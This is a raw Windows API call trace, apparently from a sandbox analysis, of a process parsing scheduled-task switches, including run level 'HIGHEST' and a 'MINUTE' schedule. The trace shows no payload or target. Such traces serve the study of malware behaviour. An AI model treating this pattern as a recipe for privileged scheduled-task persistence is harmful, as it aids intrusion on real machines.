_BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.881] lstrlenW (lpString="|u|") returned 3 [0118.881] lstrlenW (lpString="|f|") returned 3 [0118.881] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0118.881] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.881] lstrlenW (lpString="p") returned 1 [0118.881] lstrlenW (lpString="p") returned 1 [0118.881] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.881] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.881] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|p|") returned 3 [0118.881] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.882] lstrlenW (lpString="|p|") returned 3 [0118.882] lstrlenW (lpString="|f|") returned 3 [0118.882] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0118.882] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.882] lstrlenW (lpString="ru") returned 2 [0118.882] lstrlenW (lpString="ru") returned 2 [0118.882] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.882] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.882] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ru|") returned 4 [0118.882] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.882] lstrlenW (lpString="|ru|") returned 4 [0118.882] lstrlenW (lpString="|f|") returned 3 [0118.882] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0118.882] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.882] lstrlenW (lpString="rp") returned 2 [0118.882] lstrlenW (lpString="rp") returned 2 [0118.882] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.882] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.882] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rp|") returned 4 [0118.882] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.882] lstrlenW (lpString="|rp|") returned 4 [0118.882] lstrlenW (lpString="|f|") returned 3 [0118.882] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0118.882] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.882] lstrlenW (lpString="sc") returned 2 [0118.882] lstrlenW (lpString="sc") returned 2 [0118.882] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.882] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.883] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.883] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.883] lstrlenW (lpString="|sc|") returned 4 [0118.883] lstrlenW (lpString="|f|") returned 3 [0118.883] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0118.883] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.883] lstrlenW (lpString="mo") returned 2 [0118.883] lstrlenW (lpString="mo") returned 2 [0118.883] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.883] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.883] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.883] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.883] lstrlenW (lpString="|mo|") returned 4 [0118.883] lstrlenW (lpString="|f|") returned 3 [0118.883] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0118.883] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.883] lstrlenW (lpString="d") returned 1 [0118.883] lstrlenW (lpString="d") returned 1 [0118.883] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.883] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.883] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|d|") returned 3 [0118.883] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.883] lstrlenW (lpString="|d|") returned 3 [0118.883] lstrlenW (lpString="|f|") returned 3 [0118.883] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0118.883] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.883] lstrlenW (lpString="m") returned 1 [0118.883] lstrlenW (lpString="m") returned 1 [0118.883] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.884] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.884] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|m|") returned 3 [0118.884] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.884] lstrlenW (lpString="|m|") returned 3 [0118.884] lstrlenW (lpString="|f|") returned 3 [0118.884] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0118.884] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.884] lstrlenW (lpString="i") returned 1 [0118.884] lstrlenW (lpString="i") returned 1 [0118.884] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.884] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.884] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|i|") returned 3 [0118.884] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.884] lstrlenW (lpString="|i|") returned 3 [0118.884] lstrlenW (lpString="|f|") returned 3 [0118.884] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0118.884] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.884] lstrlenW (lpString="tn") returned 2 [0118.884] lstrlenW (lpString="tn") returned 2 [0118.884] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.884] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.884] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.884] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.884] lstrlenW (lpString="|tn|") returned 4 [0118.884] lstrlenW (lpString="|f|") returned 3 [0118.884] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0118.884] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.885] lstrlenW (lpString="tr") returned 2 [0118.885] lstrlenW (lpString="tr") returned 2 [0118.885] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.885] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.885] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.885] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.885] lstrlenW (lpString="|tr|") returned 4 [0118.885] lstrlenW (lpString="|f|") returned 3 [0118.885] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0118.885] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.885] lstrlenW (lpString="st") returned 2 [0118.885] lstrlenW (lpString="st") returned 2 [0118.885] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.885] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.885] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|st|") returned 4 [0118.885] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.885] lstrlenW (lpString="|st|") returned 4 [0118.885] lstrlenW (lpString="|f|") returned 3 [0118.885] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0118.885] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.885] lstrlenW (lpString="sd") returned 2 [0118.885] lstrlenW (lpString="sd") returned 2 [0118.885] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.885] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.885] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sd|") returned 4 [0118.885] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.885] lstrlenW (lpString="|sd|") returned 4 [0118.885] lstrlenW (lpString="|f|") returned 3 [0118.885] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0118.886] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.886] lstrlenW (lpString="ed") returned 2 [0118.886] lstrlenW (lpString="ed") returned 2 [0118.886] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.886] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.886] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ed|") returned 4 [0118.886] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.886] lstrlenW (lpString="|ed|") returned 4 [0118.886] lstrlenW (lpString="|f|") returned 3 [0118.886] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0118.886] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.886] lstrlenW (lpString="it") returned 2 [0118.886] lstrlenW (lpString="it") returned 2 [0118.886] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.886] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.886] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|it|") returned 4 [0118.886] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.886] lstrlenW (lpString="|it|") returned 4 [0118.886] lstrlenW (lpString="|f|") returned 3 [0118.886] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0118.886] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.886] lstrlenW (lpString="et") returned 2 [0118.886] lstrlenW (lpString="et") returned 2 [0118.886] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.886] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.886] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|et|") returned 4 [0118.886] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.886] lstrlenW (lpString="|et|") returned 4 [0118.886] lstrlenW (lpString="|f|") returned 3 [0118.887] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0118.887] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.887] lstrlenW (lpString="k") returned 1 [0118.887] lstrlenW (lpString="k") returned 1 [0118.887] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.887] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.887] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|k|") returned 3 [0118.887] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.888] lstrlenW (lpString="|k|") returned 3 [0118.888] lstrlenW (lpString="|f|") returned 3 [0118.888] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0118.888] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.888] lstrlenW (lpString="du") returned 2 [0118.888] lstrlenW (lpString="du") returned 2 [0118.888] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.888] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.888] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|du|") returned 4 [0118.888] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.888] lstrlenW (lpString="|du|") returned 4 [0118.888] lstrlenW (lpString="|f|") returned 3 [0118.888] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0118.888] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.888] lstrlenW (lpString="ri") returned 2 [0118.888] lstrlenW (lpString="ri") returned 2 [0118.888] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.888] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.888] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ri|") returned 4 [0118.888] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.888] lstrlenW (lpString="|ri|") returned 4 [0118.888] lstrlenW (lpString="|f|") returned 3 [0118.888] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0118.888] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.888] lstrlenW (lpString="z") returned 1 [0118.888] lstrlenW (lpString="z") returned 1 [0118.889] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.889] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.889] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|z|") returned 3 [0118.889] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.889] lstrlenW (lpString="|z|") returned 3 [0118.889] lstrlenW (lpString="|f|") returned 3 [0118.889] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0118.889] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.889] lstrlenW (lpString="f") returned 1 [0118.889] lstrlenW (lpString="f") returned 1 [0118.889] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.889] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.889] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.889] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.889] lstrlenW (lpString="|f|") returned 3 [0118.889] lstrlenW (lpString="|f|") returned 3 [0118.889] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0118.889] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.889] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.889] GetProcessHeap () returned 0x1a4f4a30000 [0118.889] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b8c0 [0118.889] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.889] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0118.889] lstrlenW (lpString="LIMITED") returned 7 [0118.889] GetProcessHeap () returned 0x1a4f4a30000 [0118.890] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x10) returned 0x1a4f4a3ab80 [0118.890] GetThreadLocale () returned 0x409 [0118.890] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0118.890] GetProcessHeap () returned 0x1a4f4a30000 [0118.890] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b5f0 [0118.890] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.890] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0118.890] lstrlenW (lpString="HIGHEST") returned 7 [0118.890] GetProcessHeap () returned 0x1a4f4a30000 [0118.890] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x10) returned 0x1a4f4a3aa40 [0118.890] GetThreadLocale () returned 0x409 [0118.890] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0118.890] GetProcessHeap () returned 0x1a4f4a30000 [0118.890] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b470 [0118.890] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.890] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0118.890] lstrlenW (lpString="MINUTE") returned 6 [0118.890] GetProcessHeap () returned 0x1a4f4a30000 [0118.890] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xe) returned 0x1a4f4a3a920 [0118.890] GetThreadLocale () returned 0x409 [0118.890] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0118.891] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.891] GetProcessHeap () returned 0x1a4f4a30000 [0118.891] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x1fc) returned 0x1a4f4a3abc0 [0118.891] GetProcessHeap () returned 0x1a4f4a30000 [0118.891] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b6b0 [0118.891] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.891] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0118.891] lstrlenW (lpString="First") returned 5 [0118.891] GetProcessHeap () returned 0x1a4f4a30000 [0118.891] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xc) returned 0x1a4f4a3a8a0 [0118.891] GetProcessHeap () returned 0x1a4f4a30000 [0118.891] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b4d0 [0118.891] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.891] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0118.891] lstrlenW (lpString="Second") returned 6 [0118.891] GetProcessHeap () returned 0x1a4f4a30000 [0118.891] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xe) returned 0x1a4f4a3a880 [0118.891] GetProcessHeap () returned 0x1a4f4a30000 [0118.891] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b950 [0118.891] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.891] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0118.891] lstrlenW (lpString="Third") returned 5 [0118.891] GetProcessHeap () returned 0x1a4f4a30000 [0118.892] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xc) returned 0x1a4f4a3aa60 [0118.892] GetProcessHeap () returned 0x1a4f4a30000 [0118.892] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b4a0 [0118.892] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.892] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0118.892] lstrlenW (lpString="Fourth") returned 6 [0118.892] GetProcessHeap () returned 0x1a4f4a30000 [0118.892] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xe) returned 0x1a4f4a3a940 [0118.892] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.892] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0118.892] lstrlenW (lpString="Last") returned 4 [0118.892] GetProcessHeap () returned 0x1a4f4a30000 [0118.892] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xa) returned 0x1a4f4a3a840 [0118.892] lstrlenW (lpString="12") returned 2 [0118.892] _wtol (_String="12") returned 12 [0118.892] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.892] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0118.892] lstrlenW (lpString="First") returned 5 [0118.892] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.892] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0118.892] lstrlenW (lpString="Second") returned 6 [0118.892] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.892] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0118.892] lstrlenW (lpString="Third") returned 5 [0118.893] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.893] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0118.893] lstrlenW (lpString="Fourth") returned 6 [0118.893] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.893] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0118.893] lstrlenW (lpString="Last") returned 4 [0118.893] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x791ed4bfd0, cchData=128 | out: lpLCData="0") returned 2 [0118.893] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.893] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0118.893] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0118.893] GetProcessHeap () returned 0x1a4f4a30000 [0118.893] GetProcessHeap () returned 0x1a4f4a30000 [0118.893] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a8a0) returned 1 [0118.893] GetProcessHeap () returned 0x1a4f4a30000 [0118.893] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a8a0) returned 0xc [0118.893] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a8a0) returned 1 [0118.893] GetProcessHeap () returned 0x1a4f4a30000 [0118.893] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x16) returned 0x1a4f4a3aa80 [0118.893] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x791ed4bff0, cchData=128 | out: lpLCData="0") returned 2 [0118.893] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.894] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0118.894] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0118.894] GetProcessHeap () returned 0x1a4f4a30000 [0118.894] GetProcessHeap () returned 0x1a4f4a30000 [0118.894] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a880) returned 1 [0118.894] GetProcessHeap () returned 0x1a4f4a30000 [0118.894] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a880) returned 0xe [0118.894] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a880) returned 1 [0118.894] GetProcessHeap () returned 0x1a4f4a30000 [0118.894] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x16) returned 0x1a4f4a3a800 [0118.894] GetLocalTime (in: lpSystemTime=0x791ed4c228 | out: lpSystemTime=0x791ed4c228*(wYear=0x7e7, wMonth=0x9, 